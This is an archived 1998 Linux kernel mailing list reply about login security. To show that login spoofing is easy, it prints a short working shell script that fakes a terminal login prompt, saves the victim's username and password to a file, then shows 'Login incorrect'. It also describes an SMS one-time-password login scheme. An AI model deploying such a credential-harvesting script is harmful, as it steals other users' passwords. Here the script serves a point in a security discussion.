lkml.org 
[lkml]   [1998]   [Dec]   [10]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: Linux login security approaches
On Tue, Dec 08, 1998 at 01:33:20AM +0000, Henrik Olsen wrote:

> You have a fundamental flaw in your assumptions, since you don't take into
> account the fact that unless the security of the system is very badly
> messed up already, if a user is able to substitute his own program for
> the normal login/getty, he can also exchange his programs for whatevery
> else you add to give better "security".

What about just starting (as evil_user, who has an account) the following,
hiding behind a corner, and wait for another user?

#!/bin/sh
#
echo -n "`uname -n` login: "
read LOGIN
echo -n "Password: "
read PW
echo $LOGIN $PW >> ~/sneaked_passwords.txt
chmod 0600 ~/sneaked_passwords.txt
echo "Login incorrect"
sleep 1
logout

(of course, this has to be a text terminal)


> <asbestos>
> The reason why people said your suggestion was the "NT way", is that it
> makes life harder to everyone trying to use the system, without adding to
> the actual security of the system.
> </asbestos>

the most secure way of logging in I have seen so far is the following (I
helped set it up, kind of, in a firm I jobbed during holidays).

Everyone has a pager or a manager tamagotchi (mobile phone). Logging in
makes /bin/login send a random string (like from 'pwgen') as e-mail to an
email<->SMS gateway. A couple seconds later this string pops up on their
pagers, they enter it. THEN they enter their own (private) password.

Of course, you will have to have your pager with you, but you get used to
that. One big advantage is that you will always be warned at once if someone
tries to log into your account, better yet _from where_ if the terminal id
is included in this one time SMS password.


--
_ciao, Jens_______________________________ http://www.pinguin.conetix.de
cat /dev/boiler/water | tea | sieve > /cup
mount -t hdev /dev/human/mouth01 /mouth ; cat /cup >/mouth/gulp

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/

\
 
 \ /
  Last update: 2005-03-22 13:46    [W:0.173 / U:1.308 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site